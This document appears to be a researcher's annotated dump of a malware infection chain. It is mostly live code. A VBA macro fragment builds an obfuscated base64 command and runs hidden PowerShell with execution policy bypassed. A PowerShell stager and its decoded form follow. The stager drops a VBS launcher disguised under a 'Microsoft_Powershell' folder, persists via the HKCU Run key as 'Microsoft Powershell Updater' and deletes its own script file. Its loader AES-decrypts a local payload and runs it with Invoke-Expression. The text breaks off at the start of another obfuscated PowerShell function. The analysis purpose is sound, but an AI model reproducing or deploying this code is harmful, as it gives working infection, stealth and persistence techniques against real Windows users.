str = str + "A:F:s:A:Q:w:B:P:A:E:4:A:V:g:B:F:A:F:I:A:V:A:B:d:A:D:o:A:O:g:B:G:A:F:I:A:T:w:B:N:A:E:I:A:Q:Q:B:T:A:E:"
str = str + "U:A:N:g:A:0:A:F:M:A:V:A:B:S:A:E:k:A:T:g:B:H:A:C:g:A:J:w:A:3:A:G:I:A:M:A:B:I:A:F:k:A:Q:g:B:4:A:E:o:A:"
str = str + "b:A:B:p:A:F:U:A:b:Q:B:M:A:D:I:A:M:w:B:L:A:G:U:A:M:w:A:5:A:E:s:A:O:Q:B:V:A:H:I:A:W:A:A:0:A:E:g:A:U:w:"
str = str + "B:o:A:E:M:A:S:Q:B:C:A:G:c:A:R:Q:B:5:A:F:Q:A:W:Q:B:r:A:E:U:A:Q:Q:B:R:A:D:c:A:T:Q:B:H:A:E:k:A:e:g:B:l:"
str = str + "A:G:E:A:U:w:A:3:A:E:I:A:M:Q:B:w:A:F:I:A:e:Q:B:N:A:H:A:A:c:Q:B:5:A:H:E:A:Q:g:B:5:A:G:0:A:V:g:B:X:A:F:"
str = str + "o:A:V:g:A:x:A:G:0:A:R:g:B:r:A:E:Q:A:T:Q:A:3:A:F:o:A:M:g:A:4:A:D:k:A:O:Q:A:1:A:D:c:A:N:w:A:3:A:D:M:A:"
str = str + "M:w:A:z:A:G:4:A:d:g:B:2:A:H:Y:A:Z:g:B:l:A:D:Y:A:T:w:A:1:A:D:E:A:T:w:B:K:A:C:8:A:Z:g:B:m:A:C:8:A:e:g:"
str = str + "A:5:A:G:M:A:W:g:B:t:A:F:E:A:Q:g:B:i:A:F:A:A:Y:g:B:P:A:F:M:A:d:A:B:y:A:E:o:A:b:g:B:p:A:E:c:A:Q:Q:B:x:"
str = str + "A:H:M:A:Z:w:B:m:A:F:A:A:M:w:A:1:A:D:g:A:S:A:B:6:A:D:g:A:a:Q:B:m:A:H:I:A:Z:g:B:m:A:D:Y:A:L:w:B:U:A:D:"
str = str + "M:A:U:w:B:U:A:D:k:A:T:A:B:Q:A:D:I:A:c:g:B:5:A:E:0:A:c:A:A:r:A:D:I:A:M:g:A:r:A:H:M:A:b:Q:B:y:A:D:c:A:"
str = str + "Z:g:B:Q:A:D:Y:A:M:g:B:x:A:H:g:A:U:A:B:j:A:G:0:A:Y:Q:B:Y:A:D:c:A:V:A:B:P:A:D:I:A:N:A:A:r:A:F:M:A:M:w:"
str = str + "A:r:A:D:M:A:M:Q:B:t:A:C:s:A:U:A:B:Q:A:F:Q:A:M:Q:A:v:A:D:k:A:L:w:B:p:A:C:s:A:U:A:A:z:A:D:M:A:e:Q:B:i:"
str = str + "A:F:c:A:d:g:A:1:A:H:U:A:c:A:B:5:A:D:k:A:K:w:A:4:A:H:Q:A:S:A:B:6:A:E:w:A:M:A:A:r:A:E:8:A:b:g:B:4:A:C:"
str = str + "s:A:L:w:B:m:A:F:A:A:b:g:A:w:A:C:s:A:T:Q:A:x:A:H:g:A:K:w:B:r:A:G:4:A:N:g:A:w:A:G:U:A:L:w:A:3:A:F:I:A:"
str = str + "V:A:B:H:A:H:Q:A:c:Q:A:2:A:F:k:A:N:g:B:i:A:D:M:A:L:w:A:v:A:G:w:A:O:Q:B:W:A:F:Y:A:W:A:B:q:A:G:Y:A:e:g:"
str = str + "B:2:A:E:M:A:e:A:A:v:A:D:M:A:K:w:B:O:A:H:g:A:K:w:A:0:A:D:Q:A:Q:Q:B:K:A:E:0:A:L:w:B:X:A:H:k:A:M:g:B:s:"
str = str + "A:G:I:A:V:g:B:N:A:H:Y:A:M:A:B:h:A:F:Q:A:N:g:B:0:A:H:I:A:M:Q:B:m:A:H:Q:A:O:Q:B:2:A:E:Y:A:e:Q:B:0:A:G:"
str = str + "s:A:M:g:A:v:A:F:Y:A:N:A:B:0:A:F:Y:A:b:g:B:U:A:G:Y:A:T:g:A:5:A:H:U:A:d:Q:A:y:A:E:w:A:c:A:B:Z:A:F:g:A:"
str = str + "N:g:B:k:A:G:I:A:d:g:B:k:A:G:w:A:S:w:B:z:A:D:U:A:b:g:B:u:A:G:Q:A:N:Q:B:1:A:C:8:A:Y:Q:B:V:A:G:Y:A:c:Q:"
str = str + "A:3:A:C:8:A:V:g:A:3:A:D:U:A:O:Q:B:T:A:G:o:A:O:Q:A:z:A:H:E:A:d:g:A:4:A:C:8:A:U:A:B:1:A:C:8:A:M:g:A:1:"
str = str + "A:G:Y:A:c:g:B:k:A:H:I:A:V:g:B:1:A:D:c:A:N:g:B:T:A:C:8:A:T:w:B:F:A:G:4:A:c:A:B:l:A:F:Y:A:T:g:B:m:A:D:"
str = str + "A:A:M:g:A:4:A:C:8:A:a:A:B:s:A:D:k:A:L:w:B:O:A:D:A:A:Q:w:B:a:A:D:U:A:V:A:B:Q:A:D:M:A:S:Q:B:t:A:E:g:A:"
str = str + "N:A:B:2:A:F:o:A:T:g:B:x:A:G:U:A:V:Q:B:s:A:C:8:A:Z:g:B:m:A:C:8:A:U:g:B:v:A:D:I:A:Y:w:A:w:A:G:s:A:a:Q:"
str = str + "B:k:A:F:o:A:a:w:A:z:A:C:s:A:N:g:B:M:A:D:M:A:M:w:A:0:A:F:g:A:Z:A:B:3:A:E:I:A:T:Q:B:J:A:E:g:A:e:Q:B:x:"
str = str + "A:H:Y:A:a:g:B:w:A:D:U:A:U:w:B:6:A:E:w:A:e:Q:B:5:A:C:s:A:e:Q:B:a:A:F:g:A:Y:Q:B:S:A:H:o:A:d:w:B:q:A:E:"
str = str + "c:A:T:Q:B:y:A:C:8:A:Y:Q:A:v:A:G:4:A:T:A:B:5:A:D:A:A:M:A:B:T:A:F:M:A:O:Q:B:Q:A:F:Y:A:M:Q:A:w:A:C:s:A:"
str = str + "Y:Q:B:M:A:D:g:A:Z:Q:B:0:A:D:g:A:d:Q:B:x:A:D:Y:A:T:A:A:5:A:G:4:A:c:A:A:4:A:G:c:A:a:Q:B:G:A:F:U:A:R:g:"
str = str + "A:z:A:F:c:A:M:g:B:t:A:G:w:A:K:w:B:Q:A:E:8:A:M:g:A:4:A:H:E:A:V:g:B:p:A:C:s:A:e:g:B:w:A:H:I:A:b:Q:B:x:"
str = str + "A:G:E:A:Z:w:B:E:A:D:Y:A:M:w:B:o:A:H:Y:A:c:Q:B:h:A:G:4:A:e:Q:A:2:A:E:o:A:R:A:B:T:A:H:A:A:Z:g:A:w:A:E:"
str = str + "w:A:c:A:B:x:A:H:o:A:Z:g:B:Q:A:E:Q:A:c:w:B:h:A:G:Y:A:N:Q:A:r:A:D:I:A:V:A:A:2:A:H:o:A:W:g:B:2:A:H:Q:A:"
str = str + "a:g:B:E:A:E:s:A:T:w:A:v:A:H:A:A:V:w:B:C:A:D:k:A:Y:Q:B:Z:A:H:Y:A:a:Q:B:J:A:E:E:A:V:w:B:6:A:D:Q:A:c:Q:"
str = str + "B:V:A:F:I:A:e:A:B:N:A:G:I:A:M:A:A:v:A:H:o:A:d:Q:B:y:A:G:o:A:T:Q:B:H:A:G:E:A:N:Q:B:E:A:F:k:A:Z:Q:B:U:"
str = str + "A:C:8:A:K:w:B:0:A:E:g:A:c:g:B:i:A:H:g:A:L:w:B:2:A:G:Y:A:a:g:B:S:A:E:s:A:N:w:A:5:A:D:k:A:e:A:B:H:A:E:"
str = str + "4:A:e:g:B:i:A:H:U:A:N:Q:B:Q:A:C:s:A:K:w:B:O:A:D:c:A:O:Q:B:U:A:C:s:A:O:A:B:l:A:E:Q:A:S:w:B:C:A:H:g:A:"
str = str + "O:Q:B:w:A:E:8:A:M:w:B:3:A:G:c:A:S:w:B:n:A:D:k:A:W:g:B:V:A:D:c:A:N:A:B:4:A:E:8:A:Y:Q:A:y:A:G:4:A:V:w:"
str = str + "B:i:A:G:Y:A:e:g:B:0:A:H:I:A:N:Q:B:s:A:H:U:A:M:g:A:v:A:H:o:A:d:g:B:m:A:D:I:A:e:A:B:t:A:F:A:A:Z:A:A:r:"
str = str + "A:D:k:A:L:w:B:u:A:H:k:A:Z:Q:B:S:A:H:U:A:L:w:B:v:A:G:k:A:W:A:A:x:A:F:Q:A:M:Q:B:O:A:F:U:A:M:Q:B:O:A:G:"
str = str + "4:A:a:Q:A:x:A:E:M:A:b:w:B:w:A:D:k:A:O:Q:B:P:A:F:E:A:N:g:A:r:A:C:8:A:R:A:A:y:A:D:M:A:U:g:B:2:A:D:I:A:"
str = str + "N:Q:B:2:A:H:U:A:T:Q:B:n:A:E:s:A:V:w:B:k:A:F:Y:A:T:g:B:U:A:G:k:A:M:A:B:P:A:D:Q:A:S:Q:B:U:A:E:E:A:d:A:"
str = str + "B:I:A:G:0:A:d:A:B:z:A:G:0:A:V:w:A:5:A:D:U:A:N:A:B:N:A:E:k:A:W:Q:B:a:A:E:I:A:Z:g:B:K:A:F:I:A:Q:g:A:r:"
str = str + "A:H:c:A:R:A:A:v:A:G:s:A:W:Q:B:j:A:E:U:A:V:Q:B:m:A:H:A:A:V:g:B:u:A:H:M:A:M:A:A:r:A:F:U:A:b:w:B:w:A:E:"
str = str + "s:A:Q:Q:A:z:A:H:k:A:U:w:A:x:A:D:c:A:M:Q:B:o:A:E:I:A:b:A:A:4:A:E:c:A:K:w:B:E:A:G:c:A:c:w:B:t:A:F:g:A:"
str = str + "M:Q:B:v:A:D:U:A:Q:w:B:v:A:H:c:A:K:w:B:l:A:H:g:A:b:A:B:t:A:F:I:A:V:g:B:M:A:F:o:A:Z:g:B:j:A:E:E:A:L:w:"
str = str + "B:C:A:G:c:A:L:w:A:z:A:G:w:A:U:w:B:u:A:H:k:A:O:Q:B:u:A:F:c:A:b:g:B:S:A:D:g:A:e:g:A:3:A:D:g:A:Z:Q:B:I:"
str = str + "A:E:8:A:e:g:A:0:A:H:A:A:c:Q:B:5:A:G:I:A:Z:g:B:N:A:H:Q:A:e:g:B:u:A:G:o:A:N:g:B:Y:A:H:o:A:V:g:B:Z:A:C:"
str = str + "s:A:Z:Q:B:a:A:F:o:A:N:w:B:W:A:D:k:A:d:A:B:1:A:G:c:A:Z:Q:A:v:A:E:8:A:a:Q:A:3:A:G:Q:A:R:g:B:N:A:G:0:A:"
str = str + "c:Q:B:M:A:H:U:A:S:Q:A:v:A:D:Q:A:O:Q:B:s:A:G:E:A:e:A:B:O:A:D:Q:A:a:g:B:v:A:D:g:A:Y:w:B:x:A:C:s:A:U:A:"
str = str + "B:E:A:G:g:A:d:Q:A:5:A:D:Y:A:T:Q:B:s:A:H:U:A:a:A:A:1:A:H:Y:A:a:Q:B:i:A:D:Q:A:N:g:A:v:A:F:M:A:O:Q:B:P:"
str = str + "A:G:Q:A:Y:g:B:3:A:D:E:A:a:Q:B:Q:A:E:U:A:c:A:A:z:A:F:I:A:c:w:B:Q:A:G:o:A:R:w:B:U:A:C:8:A:U:A:B:s:A:H:"
str = str + "g:A:Z:g:B:0:A:G:Y:A:Q:Q:B:B:A:H:I:A:M:A:B:o:A:D:c:A:N:Q:A:y:A:D:Y:A:M:g:B:k:A:D:A:A:Y:w:A:2:A:G:Q:A:"
str = str + "O:Q:B:H:A:G:Q:A:U:w:A:w:A:G:0:A:Y:g:B:i:A:E:w:A:O:Q:B:a:A:G:w:A:N:g:B:S:A:F:A:A:c:A:B:2:A:E:M:A:U:Q:"
str = str + "B:P:A:G:o:A:W:Q:A:y:A:E:E:A:V:Q:B:E:A:G:Q:A:O:Q:B:r:A:F:E:A:W:Q:B:k:A:G:g:A:e:Q:A:y:A:D:M:A:T:w:B:o:"
str = str + "A:H:o:A:N:A:B:2:A:F:U:A:N:Q:B:y:A:D:c:A:L:w:B:j:A:H:Y:A:Q:w:B:H:A:H:U:A:a:Q:B:z:A:E:4:A:T:w:A:2:A:E:"
str = str + "g:A:c:Q:B:Z:A:G:Q:A:L:w:B:v:A:H:o:A:U:w:B:6:A:D:I:A:K:w:B:6:A:E:Y:A:U:w:B:M:A:H:M:A:U:Q:B:S:A:E:o:A:"
str = str + "R:g:B:Q:A:G:Y:A:N:w:B:K:A:H:I:A:R:g:B:6:A:G:4:A:b:Q:A:x:A:G:o:A:e:g:B:j:A:E:k:A:Q:g:B:N:A:E:U:A:Z:g:"
str = str + "B:i:A:H:g:A:T:w:B:1:A:H:A:A:L:w:B:Q:A:G:M:A:a:A:A:3:A:H:Y:A:e:Q:B:R:A:D:k:A:e:Q:B:k:A:H:I:A:c:A:B:Q:"
str = str + "A:F:A:A:M:w:B:G:A:H:Y:A:O:A:B:T:A:D:A:A:N:Q:B:Z:A:D:k:A:Z:g:A:1:A:G:U:A:M:g:A:2:A:F:g:A:a:Q:B:h:A:C:"
str = str + "8:A:S:g:B:F:A:G:4:A:T:w:B:6:A:H:Q:A:T:w:B:0:A:E:4:A:M:w:B:u:A:F:Q:A:Y:g:B:y:A:C:8:A:T:Q:A:y:A:G:4:A:"
str = str + "b:g:B:x:A:D:I:A:e:g:B:o:A:G:o:A:W:g:B:u:A:D:Q:A:M:w:A:x:A:G:c:A:R:A:A:1:A:D:c:A:S:A:B:W:A:E:w:A:V:A:"
str = str + "B:G:A:D:k:A:N:w:A:v:A:E:U:A:c:g:B:V:A:G:U:A:R:g:B:h:A:F:U:A:b:w:B:D:A:F:k:A:N:g:B:Q:A:G:k:A:N:Q:B:M:"
str = str + "A:H:E:A:U:A:B:p:A:H:Q:A:Q:Q:B:J:A:F:E:A:Q:w:A:0:A:E:Q:A:Z:A:B:Q:A:G:k:A:U:A:B:L:A:G:c:A:e:A:B:k:A:E:"
str = str + "o:A:T:Q:B:P:A:G:Y:A:O:Q:B:H:A:G:4:A:M:g:B:5:A:D:I:A:a:A:B:0:A:H:U:A:Z:Q:B:U:A:G:U:A:d:Q:B:n:A:H:M:A:"
str = str + "Z:w:A:z:A:E:w:A:d:w:B:J:A:F:o:A:N:w:B:X:A:H:c:A:a:Q:B:l:A:G:I:A:b:w:B:t:A:G:Q:A:Z:A:B:C:A:D:A:A:S:w:"
str = str + "B:C:A:G:g:A:a:Q:B:r:A:C:8:A:N:g:B:H:A:E:8:A:R:A:B:N:A:D:g:A:V:g:B:t:A:E:g:A:M:Q:A:3:A:F:g:A:a:g:B:W:"
str = str + "A:H:Q:A:K:w:B:o:A:E:c:A:T:Q:B:k:A:G:Y:A:V:w:B:S:A:C:8:A:Z:Q:B:w:A:H:M:A:Z:Q:B:W:A:G:0:A:O:Q:B:6:A:G:"
str = str + "I:A:Z:A:B:Q:A:D:M:A:e:A:B:u:A:G:U:A:O:A:B:V:A:G:M:A:a:Q:A:x:A:E:U:A:M:Q:A:r:A:F:M:A:Z:g:B:M:A:C:8:A:"
str = str + "Q:Q:B:B:A:D:0:A:P:Q:A:n:A:C:k:A:O:w:A:k:A:G:I:A:M:g:A:9:A:F:o:A:I:A:B:J:A:E:8:A:L:g:B:D:A:E:8:A:T:Q:"
str = str + "B:Q:A:F:I:A:R:Q:B:T:A:F:M:A:S:Q:B:P:A:E:4:A:L:g:B:E:A:E:U:A:R:g:B:M:A:E:E:A:V:A:B:F:A:F:M:A:V:A:B:S:"
str = str + "A:E:U:A:Q:Q:B:N:A:C:g:A:J:A:B:i:A:D:E:A:L:A:B:b:A:E:k:A:T:w:A:u:A:E:M:A:T:w:B:N:A:F:A:A:U:g:B:F:A:F:"
str = str + "M:A:U:w:B:J:A:E:8:A:T:g:A:u:A:E:M:A:T:w:B:N:A:F:A:A:U:g:B:F:A:F:M:A:U:w:B:J:A:E:8:A:T:g:B:N:A:E:8:A:"
str = str + "R:A:B:F:A:F:0:A:O:g:A:6:A:E:Q:A:R:Q:B:D:A:E:8:A:T:Q:B:Q:A:F:I:A:R:Q:B:T:A:F:M:A:K:Q:A:7:A:C:Q:A:Y:w:"
str = str + "A:9:A:F:o:A:I:A:B:J:A:E:8:A:L:g:B:T:A:F:Q:A:U:g:B:F:A:E:E:A:T:Q:B:S:A:E:U:A:Q:Q:B:E:A:E:U:A:U:g:A:o:"
str = str + "A:C:Q:A:Y:g:A:y:A:C:w:A:W:w:B:U:A:E:U:A:W:A:B:U:A:C:4:A:R:Q:B:O:A:E:M:A:T:w:B:E:A:E:k:A:T:g:B:H:A:F:"
str = str + "0:A:O:g:A:6:A:E:E:A:U:w:B:D:A:E:k:A:S:Q:A:p:A:D:s:A:a:Q:B:l:A:H:g:A:K:A:A:k:A:G:M:A:K:Q:A:u:A:F:I:A:"
str = str + "R:Q:B:B:A:E:Q:A:V:A:B:P:A:E:U:A:T:g:B:E:A:C:g:A:K:Q:A:=:"
str = Replace(str, ":", "")
cmd = "p:o:w:e:r:s:h:e:l:l:.:e:x:e: -:N:o:P: -:N:o:n:I: -:W: :H:i:d:d:e:n: :-:E:x:e:c: :B:y:p:a:s:s: -:E: "
cmd = Replace(cmd, ":", "") + str
Shell (cmd)
End Function
###############################################################
##### @JohnLaTWC: Drops PowerShell stager:
###############################################################
$STAGER_DIR_PATH = $ENV:LOCALAPPDATA + "\Microsoft_Powershell"
$STAGER_FILE_PATH = $STAGER_DIR_PATH + "\A.txt"
$STAGER_VBS_PATH = $STAGER_DIR_PATH + "\" + $ENV:COMPUTERNAME + ".ini.vbs"
$REG_PATH = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
$REG_KEY = "Microsoft Powershell Updater"
$REG_VALUE = "wscript //B //NoLogo " + $STAGER_VBS_PATH
$LOADER_CODE = "UwBBAEwAIABaACAATgBFAFcALQBPAEIASgBFAEMAVAA7ACQAYgAxAD0AWwBJAE8ALgBNAEUATQBPAFIAWQBTAFQAUgBFAEEATQBdAFsAQwBPAE4AVgBFAFIAVABdADoAOgBGAFIATwBNAEIAQQBTAEUANgA0AFMAVABSAEkATgBHACgAJwA3AGIAMABIAFkAQgB4AEoAbABpAFUAbQBMADIAMwBLAGUAMwA5AEsAOQBVAHIAWAA0AEgAUwBoAEMASQBCAGcARQB5AFQAWQBrAEUAQQBRADcATQBHAEkAegBlAGEAUwA3AEIAMQBwAFIAeQBNAHAAcQB5AHEAQgB5AG0AVgBXAFoAVgAxAG0ARgBrAEQATQA3AFoAMgA4ADkAOQA1ADcANwA3ADMAMwAzAG4AdgB2AHYAZgBlADYATwA1ADEATwBKAC8AZgBmAC8AegA5AGMAWgBtAFEAQgBiAFAAYgBPAFMAdAByAEoAbgBpAEcAQQBxAHMAZwBmAFAAMwA1ADgASAB6ADgAaQBmAHIAZgBmADYALwBUADMAUwBUADkATABQADIAcgB5AE0AcAArADIAMgArAHMAbQByADcAZgBQADYAMgBxAHgAUABjAG0AYQBYADcAVABPADIANAArAFMAMwArADMAbAA4AGUALwB6AC8ATQB2AGoAcAA3AC8ALwB5ACsATQAzADMANgBhAG0AdgA5AHYAcABpADUAOQA4ADkAUAB6AEwAawArAFAAbgB4AHkAOQBmAFAAagAxACsAYwA1AHgAKwBrAG4ANwAwACsAMwA1AFIAVABPAHUAcQBxAGMANwBiADMALwA5AGwAZABaAFgAWAB6AFQAdwB2AHkAOQAvADMASQAvAHEASwBtADUAOQA4ACsAYwBYAEwAcgA5ADYAYwB2AG4AcAB4AC8ATQBVAHAAbQBvACsATABaAFQARgB1ADMAeABIADAANQBOAGwANgBPAFcAMgBMAGEAcABrACsAegBhAGYAMQA5AGEAcgBkAFAAbAA3AE8AdAB1AG4AMwBhAHIARwBxADgANgBiAFoAZgB0ADMAVwB4AGYASQBpADMAZgByAGQAVABvAHIAVgBQAEsALwBiAC8ARgAwADcAUwBuACsAMwAzAHkAdQAvAEgAcQBYAGYAZQA1AFcAZgBmAC8AOQAzACsAMwBMAGQAcgB0AGIAdABuAGYAUQBYAEoAeQBrADkAYgArAHAAcgArAHUAMwBIADgATwB2AHYAQgBpAGkAegBmAE8AWgBlAEoATwB5AC8AZAAxAEkAdABMACsAbQB2ADcAegA5ADYAOQBJAHkARwArAFMAUgByADgAawAvADMAcABRACsALwBpAHoAcwBBAEoAbABCAGUARgBUACsAOQBuAEcAVgA1ACsAVQBXADIAegBDADcAeQBHAGMARgBZADUAbABmAGIAWAAwADUAKwBtAHUAaQBWAHYAcgA1AHUAMgBuAHcAeABmAHAAMQBQADEAMwBYAFIAWABvADkAUABNAEkAVABxAG8AcwA1AFcAOAArAHQAeAA1ADAAMwBGADYAbQBYAFcATgBGAGQAVgBEAFUARABmAGUAMABOAGQAagBVACsAWABoAEMAYgAxAFQAeQBoADkAOQBlAGIAWgB3AGYAagB6AHYASAAxAHkAMwBlAGIATgBGAGsAWgA1AFIAOQAvAHEAdwBCAHIAVABWAHcAUgBnAHkAMABjAGwAaQBvAFAAcAA3AFcAbABlAEYANQBjADUAdwAzAFUAbwBqAFAAeABmAFAAMwByADkANwBlAFAAZABqADAAYgBwAC8AVABzAE8AZwAzAHQANwBkADkASQBmADMANwB2AC8ANgBkADIARABBAFQAVABPAGYAdgBKAFcAVwBBAEMAMAB2AG4ASgBuAGYARQBKAFQAdQAyADcAegBiADIAZgBOAGYATQB2ADIAZgArAGQANwBPACsAUAB4ADcAdgAzAHYAOAB5AFIAeQBWADEALwBrAGkANgBxACsAcABxAG4ASgBzADAAVgBJADkATABNAHYAeAA4AEcAWAB2ACsAZgBXAHEARAAvAFgAZAB4AHcAawA1AGEAeQBxAEIAdgBkADIAUgAzAEIAQwBJAE4AcgBjAE4AdABuAHkAMwBwAE0AaAB4AEQAQwBJAGoAegBKAG8ASAArAEEALwA4AHAAQQBnAFMAcgAvAEsAcwA5AGwASABTAGwARgBwAGcARQAvAHkAdQBqAGYATQA0AE0AcwBBAEgANABjAGwAcwB3ACsATgBYAEEAVQBtAG4ANwAwAHMAcwAyAEsAcAA3AEIANgBBAEgAKwBQAEgAbQArAHAAMABPAGQAdQA2ADgAMgBQAG0ALwBmAGgAdwB4AHkAZABsADEAZQBSAGIAaAB2AHYAOABzAFgAUwArADYAdABHAHoAegBMAFAAYQBmAGgAdAAwAGIAMQA2ADAAUABaAHAASgBVADkAUgA5AHgATAArAG4AawByAFYASgBYAEkAZABIADcAdgBYAFIAWQBhAE0AWABQAGQAbgB0AGMARgBQADgAegBmAEYAMwBhAGIAcgB6AHIAVQBHAE0AUgArAG4ATwBhAEgAZwA4ADQAKwBmADUAOABxAEsAZABEADIAQgBGADIAaQBOAC8AdQA3AFUAegAyAHIAbQBUAC8AawB4AEsAMgBtAHoANwB4AGIAbwBzAGYAUwBLAGQAbAA4AFMAaABzAFIARQBRADYAcQBZAHYAMABxAEQAagBzAE8AVgBXAGgAdwBPAC8AMQAyAG4AdAAvAGYANABGAFkAVQAwAFUAZABsAHIAWAB3ADcAVABEAG4AMQBIADYAKwBXADIAMgBRAG8AUQA5AFMASwBLAG8AeAB6ACsAWgBsAGUAdAA4AEUAMgBzAGUARABwAEEAcAB3AGoANQBlAFIALwAyAHYAQgAzAG4AdgBsADYAUQBuAFcAVAB1AGQAcAA3AC8ANABsADUAaQAyAC8AUABHAHIAdgBGADMAWAB5ACsAUwBYAEoATQBuAFoAZQBiAHIAMQBKAG0ALwBhADcAWgBkAFoATwAwADgARABBADIAagBzAHoATwAvAEcASwBvAEIAWQBMAHIAcwB1AHEAMgB6AG0AYwBTAHoAUgA0ADEAbABSAGcAcAA3AG8AKwByAGcAcwBvAGUAUwAzAFEAaQBBAEMAUQB0ADgAOQBJAGUAcQBEAEgAawBzAHoANwBmAHcAYgBmAGIATABaAEkAbQA1ADcAZABxADIATAB6AFQAYgBNAEEANQB2ADIAYgBhAEYANgB1AGkAWABHADAAdQB0AFMAawBNAEIAUQBnADAAOQAxAGYAUAB6AGQAOAByAEoANgBtADIAKwBmAHYAagBOADgARQBxAEEAcwBwAEUAeAArAFMAZgBMAC8AQQBBAD0APQAnACkAOwAkAGIAMgA9AFoAIABJAE8ALgBDAE8ATQBQAFIARQBTAFMASQBPAE4ALgBEAEUARgBMAEEAVABFAFMAVABSAEUAQQBNACgAJABiADEALABbAEkATwAuAEMATwBNAFAAUgBFAFMAUwBJAE8ATgAuAEMATwBNAFAAUgBFAFMAUwBJAE8ATgBNAE8ARABFAF0AOgA6AEQARQBDAE8ATQBQAFIARQBTAFMAKQA7ACQAYwA9AFoAIABJAE8ALgBTAFQAUgBFAEEATQBSAEUAQQBEAEUAUgAoACQAYgAyACwAWwBUAEUAWABUAC4ARQBOAEMATwBEAEkATgBHAF0AOgA6AEEAUwBDAEkASQApADsAaQBlAHgAKAAkAGMAKQAuAFIARQBBAEQAVABPAEUATgBEACgAKQA="
$VBS_CODE = "Set WshShell = WScript.CreateObject(""WScript.Shell"")`n"
$VBS_CODE += "cmd = ""powershell.exe -NoP -NonI -W Hidden -Exec Bypass -E " + $LOADER_CODE + """`n"
$VBS_CODE += "WshShell.Run cmd, 0, True`n"
# Create BASE DIR
If (!(Test-Path $STAGER_DIR_PATH)) {
New-Item -ItemType Directory -Force -Path $STAGER_DIR_PATH
}
# Write the VBS
$VBS_CODE | out-file -Filepath $STAGER_VBS_PATH #-ErrorAction SilentlyContinue
# Remove its script file
If (Test-Path $STAGER_FILE_PATH) {
Remove-Item $STAGER_FILE_PATH -ErrorAction SilentlyContinue
}
# Persist the loader
If ($LOADER_CODE -and (Test-Path $STAGER_VBS_PATH)) {
$Exists = Get-ItemProperty -Path $REG_PATH -Name $REG_KEY -ErrorAction SilentlyContinue
If (!$Exists) {
New-ItemProperty -Path $REG_PATH -Name $REG_KEY -Value $REG_VALUE -ErrorAction SilentlyContinue
}
}
# Execute the loader
Invoke-Expression ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($LOADER_CODE)))
##### ...which decodes to:
$STAGER_DIR_PATH = $ENV:LOCALAPPDATA + "\Microsoft_Powershell"
$STAGER_FILE_PATH = $STAGER_DIR_PATH + "\A.txt"
$STAGER_VBS_PATH = $STAGER_DIR_PATH + "\" + $ENV:COMPUTERNAME + ".ini.vbs"
$REG_PATH = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
$REG_KEY = "Microsoft Powershell Updater"
$REG_VALUE = "wscript //B //NoLogo " + $STAGER_VBS_PATH
$LOADER_CODE = "SAL Z NEW-OBJECT;$b1=[IO.MEMORYSTREAM][CONVERT]::FROMBASE64STRING('$KEY = "select-user-from-basquet"
$PAYLOAD_PATH = $ENV:LOCALAPPDATA + "\Microsoft_Powershell\" + $ENV:COMPUTERNAME + ".ini.txt"
Function Decrypt-And-Decompress-String ($Ciphertext, $Key, [Ref]$Output) {
Try {
$DecodedCiphertext = [Convert]::FromBase64String($Ciphertext)
$RijndaelManaged = new-Object System.Security.Cryptography.RijndaelManaged
$Password = [Text.Encoding]::UTF8.GetBytes($Key)
$RijndaelManaged.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $Password, $Password, "SHA1", 5).GetBytes(32) #256/8
$RijndaelManaged.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash($Password)[0..15]
$MemoryStream = new-Object IO.MemoryStream @(,$DecodedCiphertext)
$Decryptor = $RijndaelManaged.CreateDecryptor()
$CryptoStream = new-Object Security.Cryptography.CryptoStream $MemoryStream, $Decryptor, "Read"
$StreamReader = new-Object IO.StreamReader $CryptoStream
$EncodedCompressedPlaintext = $StreamReader.ReadToEnd()
$CryptoStream.Close()
$MemoryStream.Close()
$RijndaelManaged.Clear()
$StreamReader.Close()
$DecodedCompressPlaintext = [System.Convert]::FromBase64String($EncodedCompressedPlaintext)
$MemoryStream = New-Object System.IO.MemoryStream
$MemoryStream.Write($DecodedCompressPlaintext, 0, $DecodedCompressPlaintext.Length)
$MemoryStream.Seek(0,0) | Out-Null
$DeflateStream = New-Object IO.Compression.DeflateStream ($MemoryStream, [IO.Compression.CompressionMode]::Decompress)
$StreamReader = New-Object System.IO.StreamReader($DeflateStream)
$Output.Value = $StreamReader.ReadToEnd();
$MemoryStream.Close()
$DeflateStream.Close()
$StreamReader.Close()
} Catch {}
Return
}
If (Test-Path $PAYLOAD_PATH) {
$SecuredPayload = [System.IO.File]::ReadAllText($PAYLOAD_PATH)
$PayloadCode = $null
$null = Decrypt-And-Decompress-String -Ciphertext $SecuredPayload -Key $KEY -Output ([Ref]$PayloadCode)
If ($PayloadCode) {
Invoke-Expression $PayloadCode
}
}
');$b2=Z IO.COMPRESSION.DEFLATESTREAM($b1,[IO.COMPRESSION.COMPRESSIONMODE]::DECOMPRESS);$c=Z IO.STREAMREADER($b2,[TEXT.ENCODING]::ASCII);iex($c).READTOEND()"
$VBS_CODE = "Set WshShell = WScript.CreateObject(""WScript.Shell"")`n"
$VBS_CODE += "cmd = ""powershell.exe -NoP -NonI -W Hidden -Exec Bypass -E " + $LOADER_CODE + """`n"
$VBS_CODE += "WshShell.Run cmd, 0, True`n"
# Create BASE DIR
If (!(Test-Path $STAGER_DIR_PATH)) {
New-Item -ItemType Directory -Force -Path $STAGER_DIR_PATH
}
# Write the VBS
$VBS_CODE | out-file -Filepath $STAGER_VBS_PATH #-ErrorAction SilentlyContinue
# Remove its script file
If (Test-Path $STAGER_FILE_PATH) {
Remove-Item $STAGER_FILE_PATH -ErrorAction SilentlyContinue
}
# Persist the loader
If ($LOADER_CODE -and (Test-Path $STAGER_VBS_PATH)) {
$Exists = Get-ItemProperty -Path $REG_PATH -Name $REG_KEY -ErrorAction SilentlyContinue
If (!$Exists) {
New-ItemProperty -Path $REG_PATH -Name $REG_KEY -Value $REG_VALUE -ErrorAction SilentlyContinue
}
}
# Execute the loader
Invoke-Expression ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($LOADER_CODE)))
###############################################################
##### @JohnLaTWC: Drops another obfuscated PowerShell payload:
###############################################################
Function _/=\__/==\/\/\___/ {
Param (
[Parameter(Mandatory=$true)]
[string]${________/==\_/\/==},
[Parameter(Mandatory=$true)]
[string]${__/\_/=\/=\/=\__/\},
[Parameter(Mandatory=$true)]
[string]${_/==\_/\/=\_/=\/\/},
